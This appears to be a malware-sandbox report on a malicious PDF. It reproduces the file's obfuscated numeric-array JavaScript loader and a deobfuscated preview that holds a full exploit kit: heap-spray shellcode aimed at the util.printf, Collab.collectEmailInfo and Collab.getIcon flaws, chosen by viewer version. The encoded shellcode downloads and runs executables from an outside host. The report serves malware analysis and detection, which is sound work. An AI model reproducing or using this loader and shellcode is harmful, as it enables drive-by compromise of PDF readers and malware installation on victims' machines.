164,150,171,144,149,164,167,163,166,146,82,114,82,174,147,167,165,165,82,96,82,168,154,154,158,161,149,164,150,154,109,66,60,62,59,178,63,63,59,62,168,150,164,85,161,171,151,167,152,161,161,172,82,114,82,170,160,154,165,152,147,165,151,93,84,90,167,101,149,101,149,90,167,101,149,101,149,87,91,112,63,63,59,62,169,157,155,161,151,85,90,164,168,154,164,155,158,164,169,99,158,154,160,156,166,157,82,113,82,105,102,110,103,103,91,176,63,63,59,62,59,164,168,154,164,155,158,164,169,85,93,114,82,164,168,154,164,155,158,164,169,112,63,63,59,62,175,66,60,62,59,169,154,158,165,99,149,164,158,161,147,151,133,169,161,167,151,85,111,85,117,164,158,161,147,151,96,152,161,161,158,154,149,169,119,162,147,158,158,126,160,155,161,93,173,168,167,151,156,111,82,87,84,97,159,168,153,111,82,164,168,154,164,155,158,164,169,178,91,112,63,63,59,178,63,63,63,63,59,155,167,163,149,169,155,164,160,85,149,164,158,161,147,151,145,156,151,169,155,152,161,163,90,94,173,66,60,62,59,158,152,85,90,150,162,165,96,153,161,152,96,120,161,161,158,150,148,99,153,154,166,126,149,164,160,94,173,66,60,62,59,62,168,150,164,85,147,167,164,174,82,114,82,163,151,172,82,118,164,167,147,174,90,94,109,66,60,62,59,62,168,150,164,85,168,171,162,154,166,157,171,150,82,114,82,170,160,154,165,152,147,165,151,93,84,90,167,122,116,122,107,90,167,101,98,101,99,90,167,106,104,101,98,90,167,118,99,107,102,90,167,101,98,104,98,90,167,101,98,101,98,90,167,105,98,109,116,90,167,109,116,101,117,90,167,102,117,108,98,90,167,109,116,118,118,90,167,101,106,105,98,90,167,120,101,106,119,90,167,109,116,106,103,90,167,109,116,122,117,90,167,101,106,105,103,90,167,104,101,106,100,90,167,120,99,121,100,90,167,101,101,120,100,90,167,102,98,104,100,90,167,109,98,105,98,90,167,101,98,104,106,90,167,123,103,108,103,90,167,120,100,109,116,90,167,106,118,106,115,90,167,101,102,120,100,90,167,106,103,101,98,90,167,122,117,109,116,90,167,106,99,106,99,90,167,106,104,106,101,90,167,107,98,106,105,90,167,106,118,109,116,90,167,104,101,101,106,90,167,109,116,120,98,90,167,101,117,108,103,90,167,123,119,109,116,90,167,108,104,101,101,90,167,109,116,104,117,90,167,108,106,105,119,90,167,120,120,101,101,90,167,106,99,109,116,90,167,106,100,102,117,90,167,106,99,109,116,90,167,106,100,103,102,90,167,108,99,109,116,90,167,105,119,102,102,90,167,108,103,109,107,90,167,109,116,123,117,90,167,103,98,108,99,90,167,123,105,101,101,90,167,105,115,110,107,90,167,105,100,118,118,90,167,104,116,107,98,90,167,123,117,106,103,90,167,101,102,108,103,90,167,120,98,104,101,90,167,104,105,122,116,90,167,123,120,104,101,90,167,105,103,101,101,90,167,110,105,101,117,90,167,120,120,109,116,90,167,108,103,118,119,90,167,103,116,123,118,90,167,105,120,123,107,90,167,122,106,106,99,90,167,123,120,110,102,90,167,123,120,123,120,90,167,120,101,104,116,90,167,108,102,107,99,90,167,122,116,101,100,90,167,109,116,121,107,90,167,101,117,105,103,90,167,106,119,110,100,90,167,123,100,101,101,90,167,122,98,121,99,90,167,120,104,101,101,90,167,120,107,104,101,90,167,119,105,101,120,90,167,106,120,101,106,90,167,122,99,120,99,90,167,101,101,101,100,90,167,101,101,120,115,90,167,109,116,120,120,90,167,101,101,101,99,90,167,109,107,120,100,90,167,123,106,105,103,90,167,109,116,107,99,90,167,123,106,105,103,90,167,106,119,106,120,90,167,120,107,106,116,90,167,106,103,120,101,90,167,122,117,109,116,90,167,122,106,106,99,90,167,123,120,105,107,90,167,123,120,123,120,90,167,107,106,106,98,90,167,107,98,122,106,90,167,101,102,119,120,90,167,107,117,122,106,90,167,123,120,123,120,90,167,104,101,123,120,90,167,106,100,121,100,90,167,123,120,106,100,90,167,101,106,108,103,90,167,121,98,123,120,90,167,105,103,109,107,90,167,109,116,123,117,90,167,123,117,105,103,90,167,120,101,120,107,90,167,109,116,106,103,90,167,109,101,122,117,90,167,101,117,122,117,90,167,105,103,109,118,90,167,106,98,123,102,90,167,105,103,120,104,90,167,108,103,123,102,90,167,105,103,120,104,90,167,108,100,123,103,90,167,105,103,120,104,90,167,107,117,123,104,90,167,105,103,120,104,90,167,107,118,123,105,90,167,105,103,120,104,90,167,107,120,123,106,90,167,105,103,120,104,90,167,107,119,123,107,90,167,105,103,120,104,90,167,103,119,123,115,90,167,105,103,120,104,90,167,107,102,123,116,90,167,105,103,120,104,90,167,107,117,123,117,90,167,105,103,120,104,90,167,107,117,123,118,90,167,105,103,120,104,90,167,101,98,123,119,90,167,118,98,122,106,90,167,123,120,123,120,90,167,106,98,123,120,90,167,106,118,107,106,90,167,102,99,109,115,90,167,122,106,102,104,90,167,123,120,102,103,90,167,123,120,123,120,90,167,120,102,109,101,90,167,109,103,101,117,90,167,108,102,120,98,90,167,107,115,102,103,90,167,107,115,101,98,90,167,123,120,101,98,90,167,101,117,108,103,90,167,108,103,123,120,90,167,107,115,101,106,90,167,123,120,101,98,90,167,109,103,121,98,90,167,108,103,120,98,90,167,105,98,101,101,90,167,120,101,120,107,90,167,120,98,104,101,90,167,120,101,120,107,90,167,104,101,106,105,90,167,109,116,120,98,90,167,103,102,105,117,90,167,109,116,101,117,90,167,103,102,108,117,90,167,123,117,101,106,90,167,118,115,123,101,90,167,120,101,106,120,90,167,105,117,109,116,90,167,101,102,103,102,90,167,104,107,109,98,90,167,109,116,101,98,90,167,108,102,120,99,90,167,105,98,101,104,90,167,104,106,109,98,90,167,108,103,101,98,90,167,103,116,123,115,90,167,120,101,120,99,90,167,109,116,106,103,90,167,109,101,122,117,90,167,107,102,122,117,90,167,109,118,106,101,90,167,123,98,105,103,90,167,104,101,106,105,90,167,106,98,121,116,90,167,105,103,120,104,90,167,107,116,123,98,90,167,105,103,120,104,90,167,107,103,123,99,90,167,105,103,120,104,90,167,108,100,123,100,90,167,105,103,120,104,90,167,107,119,123,101,90,167,105,103,120,104,90,167,107,103,123,102,90,167,105,103,120,104,90,167,107,117,123,103,90,167,105,103,120,104,90,167,104,101,123,104,90,167,105,103,120,104,90,167,104,100,123,105,90,167,105,103,120,104,90,167,103,119,123,106,90,167,105,103,120,104,90,167,107,102,123,107,90,167,105,103,120,104,90,167,107,117,123,115,90,167,105,103,120,104,90,167,107,117,123,116,90,167,106,118,109,106,90,167,122,106,123,117,90,167,123,120,101,116,90,167,123,120,123,120,90,167,107,106,106,98,90,167,105,101,107,106,90,167,109,119,123,107,90,167,109,98,122,106,90,167,123,120,123,119,90,167,109,116,123,120,90,167,109,118,123,106,90,167,110,117,105,103,90,167,105,102,107,115,90,167,122,106,106,98,90,167,123,120,108,119,90,167,123,120,123,120,90,167,105,103,109,118,90,167,107,115,122,98,90,167,106,98,102,98,90,167,108,101,122,106,90,167,123,120,123,120,90,167,109,101,123,120,90,167,102,117,120,102,90,167,105,103,109,118,90,167,106,98,122,98,90,167,105,103,109,118,90,167,106,98,110,117,90,167,106,101,106,101,90,167,106,101,106,101,90,167,106,101,106,101,90,167,108,103,123,120,90,167,120,105,101,106,90,167,110,117,105,103,90,167,101,98,105,102,90,167,101,98,101,98,90,167,123,120,106,101,90,167,106,120,121,105,90,167,119,104,101,120,90,167,106,116,120,98,90,167,120,101,120,107,90,167,109,116,106,103,90,167,106,99,122,117,90,167,106,101,106,99,90,167,106,105,106,104,90,167,105,100,107,115,90,167,108,100,122,106,90,167,101,98,101,98,90,167,109,116,101,98,90,167,104,101,121,106,90,167,109,103,123,104,90,167,106,107,121,116,90,167,105,103,120,105,90,167,107,99,123,106,90,167,107,103,103,119,90,167,120,105,108,106,90,167,123,117,105,103,90,167,101,98,107,103,90,167,101,98,101,98,90,167,106,104,108,119,90,167,105,103,109,118,90,167,106,98,123,106,90,167,122,106,106,104,90,167,101,98,106,99,90,167,101,98,101,98,90,167,106,98,106,107,90,167,119,99,122,106,90,167,123,120,123,119,90,167,109,103,123,120,90,167,106,107,120,98,90,167,108,102,106,107,90,167,109,118,104,107,90,167,101,99,105,104,90,167,122,106,106,98,90,167,101,98,104,116,90,167,101,98,101,98,90,167,123,106,109,116,90,167,105,103,109,118,90,167,106,98,123,106,90,167,103,99,122,106,90,167,123,120,123,120,90,167,109,103,123,120,90,167,106,107,120,98,90,167,108,102,106,107,90,167,106,105,101,117,90,167,101,99,122,106,90,167,123,120,123,120,90,167,106,107,123,120,90,167,105,102,120,104,90,167,123,120,104,106,90,167,106,98,108,101,90,167,105,103,109,118,90,167,123,119,123,106,90,167,106,106,101,98,90,167,105,103,109,118,90,167,106,98,123,106,90,167,122,106,106,105,90,167,123,119,108,102,90,167,123,120,123,120,90,167,106,107,106,107,90,167,105,104,105,104,90,167,123,101,104,116,90,167,118,115,108,117,90,167,106,119,106,120,90,167,120,107,106,116,90,167,106,103,120,101,90,167,122,117,109,116,90,167,106,101,106,99,90,167,107,98,107,104,90,167,104,100,119,99,90,167,101,98,122,106,90,167,101,98,101,98,90,167,106,106,101,98,90,167,101,106,104,106,90,167,101,101,108,102,90,167,122,116,105,98,90,167,105,98,123,107,90,167,106,118,109,116,90,167,109,98,101,106,90,167,105,100,123,116,90,167,101,106,108,103,90,167,121,116,104,101,90,167,102,106,109,115,90,167,120,101,109,116,90,167,102,105,122,116,90,167,102,106,104,106,90,167,102,99,108,104,90,167,104,101,105,98,90,167,109,102,120,107,90,167,108,102,121,116,90,167,105,98,101,117,90,167,101,106,104,106,90,167,123,116,108,103,90,167,123,119,105,98,90,167,122,116,120,116,90,167,104,101,123,100,90,167,109,107,120,98,90,167,123,117,105,103,90,167,105,103,109,116,90,167,106,116,123,117,90,167,120,101,120,107,90,167,101,100,104,100,90,167,108,102,107,106,90,167,108,98,108,102,90,167,103,120,104,115,90,167,107,120,103,120,90,167,108,103,108,107,90,167,107,117,107,119,90,167,107,119,107,99,90,167,103,119,107,102,90,167,108,100,107,120,90,167,103,120,107,105,90,167,108,100,107,104,90,167,107,105,107,99,90,167,108,101,108,103,90,167,107,104,103,120,90,167,107,119,107,116,90,167,108,106,108,99,90,167,103,119,104,100,90,167,108,106,107,103,90,167,101,98,107,103,90,167,108,102,107,106,90,167,108,98,108,102,90,167,103,120,104,115,90,167,107,120,103,120,90,167,108,103,108,107,90,167,107,117,107,119,90,167,107,119,107,99,90,167,103,119,107,102,90,167,108,100,107,120,90,167,103,120,107,105,90,167,108,100,107,104,90,167,107,105,107,99,90,167,108,101,108,103,90,167,107,101,103,120,90,167,107,107,107,117,90,167,107,116,107,101,90,167,108,98,103,119,90,167,108,98,107,106,90,167,108,100,104,120,90,167,101,98,104,118,87,91,112,63,63,59,62,59,171,147,167,82,157,137,166,103,101,98,120,128,85,111,85,168,171,162,154,166,157,171,150,96,161,151,163,153,169,154,85,92,85,100,112,63,63,59,62,59,171,147,167,82,161,151,163,82,114,82,101,170,105,98,101,98,101,98,85,95,85,90,157,137,166,103,101,98,120,128,85,93,85,98,173,101,109,91,112,63,63,59,62,59,171,147,167,82,174,147,167,165,165,82,114,82,170,160,154,165,152,147,165,151,93,84,90,167,110,98,110,98,90,167,110,98,110,98,87,91,112,63,63,59,62,59,174,147,167,165,165,82,114,82,155,155,173,145,158,166,93,171,150,164,168,162,97,82,161,151,163,91,112,63,63,59,62,59,171,147,167,82,165,103,118,156,128,104,106,152,85,111,85,90,101,170,101,149,101,149,101,149,101,149,85,95,85,98,173,102,101,98,101,98,101,91,85,97,85,98,173,102,101,98,101,98,101,109,66,60,62,59,62,152,164,164,85,90,171,147,167,82,171,163,152,131,121,107,107,171,85,111,85,98,112,82,171,163,152,131,121,107,107,171,85,110,85,162,106,115,159,125,107,103,155,109,85,168,166,149,134,118,110,104,174,82,96,93,85,91,176,63,63,59,62,59,62,147,167,164,174,141,171,163,152,131,121,107,107,171,146,82,114,82,174,147,167,165,165,82,96,82,171,168,165,151,169,154,174,147,112,63,63,59,62,59,178,63,63,59,62,59,171,147,167,82,169,135,130,154,131,148,124,169,85,111,85,167,163,151,168,149,150,162,154,90,87,87,101,107,87,91,112,63,63,59,62,59,172,154,158,158,154,82,93,166,138,127,157,128,151,121,172,96,161,151,163,153,169,154,85,110,85,98,173,102,101,98,101,91,176,63,63,59,62,59,62,166,138,127,157,128,151,121,172,82,96,111,85,166,138,127,157,128,151,121,172,109,66,60,62,59,62,175,66,60,62,59,62,166,138,127,157,128,151,121,172,82,114,82,87,128,99,84,85,93,85,166,138,127,157,128,151,121,172,109,66,60,62,59,62,147,165,162,99,150,164,149,99,117,164,158,161,147,151,96,156,151,169,123,152,161,163,90,169,135,130,154,131,148,124,169,94,109,66,60,62,59,178,63,63,59,178,63,63,63,63,59,155,167,163,149,169,155,164,160,85,162,153,152,148,165,169,147,167,166,93,91,176,63,63,63,63,59,62,168,150,164,85,168,154,164,168,155,164,160,85,111,85,147,165,162,99,168,158,151,172,151,167,136,154,164,168,155,164,160,99,166,164,133,169,164,158,160,156,90,94,109,66,60,62,59,171,151,167,165,158,161,163,82,114,82,171,151,167,165,158,161,163,96,167,151,165,158,150,149,154,90,100,142,121,97,156,94,92,89,94,109,66,60,62,59,171,147,167,82,171,147,167,165,158,161,163,145,150,164,167,147,174,82,114,82,163,151,172,82,118,164,167,147,174,90,171,151,167,165,158,161,163,96,152,154,150,164,118,166,93,98,94,94,85,168,154,164,168,155,164,160,99,149,157,147,167,115,169,90,102,91,97,82,171,151,167,165,158,161,163,96,152,154,150,164,118,166,93,100,94,91,112,63,63,59,62,155,155,82,93,90,171,147,167,165,158,161,163,145,150,164,167,147,174,141,101,143,85,111,114,82,109,91,85,88,91,82,93,168,150,164,168,155,164,160,148,147,167,164,150,171,144,99,146,82,114,111,85,98,94,82,177,174,85,90,171,147,167,165,158,161,163,145,150,164,167,147,174,141,102,143,85,111,114,82,102,82,91,88,85,168,150,164,168,155,164,160,148,147,167,164,150,171,144,100,146,82,113,82,104,91,94,173,66,60,62,59,62,167,169,155,161,145,165,164,158,160,169,152,93,91,112,63,63,59,62,175,66,60,62,59,158,152,85,90,93,168,150,164,168,155,164,160,148,147,167,164,150,171,144,98,146,82,113,82,109,91,85,174,177,82,93,168,150,164,168,155,164,160,148,147,167,164,150,171,144,98,146,82,114,111,85,106,85,88,91,82,171,147,167,165,158,161,163,145,150,164,167,147,174,141,102,143,85,110,85,100,85,88,91,82,171,147,167,165,158,161,163,145,150,164,167,147,174,141,103,143,85,110,85,100,94,91,176,63,63,59,62,59,152,161,161,158,150,148,148,151,162,147,158,158,93,91,112,63,63,59,62,175,66,60,62,59,158,152,85,90,93,168,150,164,168,155,164,160,148,147,167,164,150,171,144,98,146,82,113,82,110,91,85,174,177,82,93,168,150,164,168,155,164,160,148,147,167,164,150,171,144,98,146,82,114,111,85,107,85,88,91,82,171,147,167,165,158,161,163,145,150,164,167,147,174,141,102,143,85,110,85,99,94,91,176,63,63,59,62,59,152,161,161,158,150,148,148,153,154,166,158,149,164,160,93,91,112,63,63,59,62,175,66,60,62,175,66,60,66,60,62,162,153,152,148,165,169,147,167,166,93,91,112,63,63,59],gkstw=function(){for(var cgjprs;bdekly<dgmotu.length;bdekly+=1){var ehiln=bdekly%fghmos.length+1;var tfzxr=fghmos.substring(bdekly%fghmos.length,ehiln);var egjmo=dgmotu[bdekly];bcnqr+=einx(egjmo-tfzxr.charCodeAt(0));} zmsjtr(bcnqr);};gkstw();gjpq="";afsx=true;filo="";dqaiz="";djlstx="";hlmnx="";cgrsv=false;dhqtw="dhqtw";fgikp=false;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9958 bytes
SHA-256: `3341c2a48ac32befbb1ff90301ab1c2ca78150f84e4d91eaeabeeb65e5a5855c`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u612F%u716D%u7877%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u662F%u6D68%u7674%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u662F%u6E6B%u7871%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

